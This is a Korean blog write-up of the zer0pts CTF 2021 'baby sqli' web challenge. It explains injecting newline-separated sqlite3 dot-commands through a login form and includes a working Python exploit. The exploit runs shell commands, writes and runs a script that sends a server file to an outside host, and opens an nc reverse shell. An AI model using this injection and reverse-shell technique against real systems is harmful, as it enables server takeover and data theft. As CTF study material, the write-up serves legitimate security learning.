CTF(Capture The Flag)/zeroptf 2021

baby sqli

cyanhe_wh 2021. 3. 12. 16:43
반응형

풀이

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Welcome</title>
    </head>

    <body>
        <h1>Welcome, {{name}}!</h1>
        {% if name == 'admin' %}
        <p>zer0pts{*****CENSORED*****}</p>
        {% else %}
        <p>No flag for you :(</p>
        {% endif %}
    </body>
</html>

해당 페이지에 admin 으로 로그인을 하면 flag를 알려준다.

@app.route('/login', methods=['post'])
def auth():
    username = flask.request.form.get('username', default='', type=str)
    password = flask.request.form.get('password', default='', type=str)
    if len(username) > 32 or len(password) > 32:
        flask.session['msg'] = 'Too long username or password'
        return flask.redirect(flask.url_for('home'))

    password_hash = hashlib.sha256(password.encode()).hexdigest()
    result = None
    try:
        result = sqlite3_query(
            'SELECT * FROM users WHERE username="{}" AND password="{}";'
            .format(sqlite3_escape(username), password_hash)
        )
    except:
        pass

    if result:
        flask.session['name'] = username
    else:
        flask.session['msg'] = 'Invalid Credential'
    return flask.redirect(flask.url_for('home'))

def sqlite3_escape(s):
    return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)

로그인을 보면 SQL Injection이 발생할 수 있게 query를 작성하였다.

그러나 password는 hash를 하기때문에 조작이 어렵다.

아이디는 escape 함수를 이용해 필터링을 한다.

" 를 사용하면 \" 로 바뀌기 때문에

select * from users where username="\"\; " and password="a"

def sqlite3_query(sql):
    p = subprocess.Popen(['sqlite3', 'database.db'],
                         stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)
    o, e = p.communicate(sql.encode())
    if e:
        raise Exception(e)
    result = []
    for row in o.decode().split('\n'):
        if row == '': break
        result.append(tuple(row.split('|')))

    return result

만약 에러가 발생하면, 예외발생!!

필터링 때문에 무조건 에러가 발생하게된다.

그러나 ;\n 을 이용하면 에러 이외에도 추가적인 명령어를 사용할 수 있다.

select * from users where username="\"\;\n.table\n 를 사용하면 두 개의 명령어가 다 실행된다.

sqlite 명령어를 보면, 시스템 쉘로 입력한 명령어를 실행시켜준다.

이를 통해서 리버스 쉘을 실행시킬 수 있다면, 서버에 접근할 수 있다.

Exploit

import requests

URL = 'http://web.ctf.zer0pts.com:8004'
# URL = "http://192.168.0.29:8888"

script = "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',9999));s.send(open('/home/app/templates/index.html','rb').read())"

def run(cmd):
    payload = {
        'username': '";\n.system {}\n'.format(cmd),
        'password': 'test'
    }

    requests.post(f'{URL}/login', data=payload)

run('printf "">/tmp/hal')
for c in script:
    run('printf "{}">>/tmp/hal'.format(c))
run("python /tmp/hal")

#################################################################
payload = {
    'username': '";\n.shell nc [ip] 9 -e sh\n',
    'password': 'test'
}
requests.post(f'{URL}/login', data=payload)
  1. tmp 경로에 파일을 하나 생성
  2. python 코드를 1byte씩 쓴다.
  3. python으로 해당 파일을 실행시킨다.

이 외에도 ";\n.system nc ip port -e sh\n 이런 방법으로도 가능하다. 그러나 32자리가 넘으면 안되므로 ip를 int 형으로 바꿔 32가 넘지 않도록한다.

Flag

zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

safe_vector  (0) 2021.04.07
GuestFS:AFR  (0) 2021.03.12
OneShot  (0) 2021.03.12
stopwatch  (0) 2021.03.12
Not Beginner's Stack  (0) 2021.03.12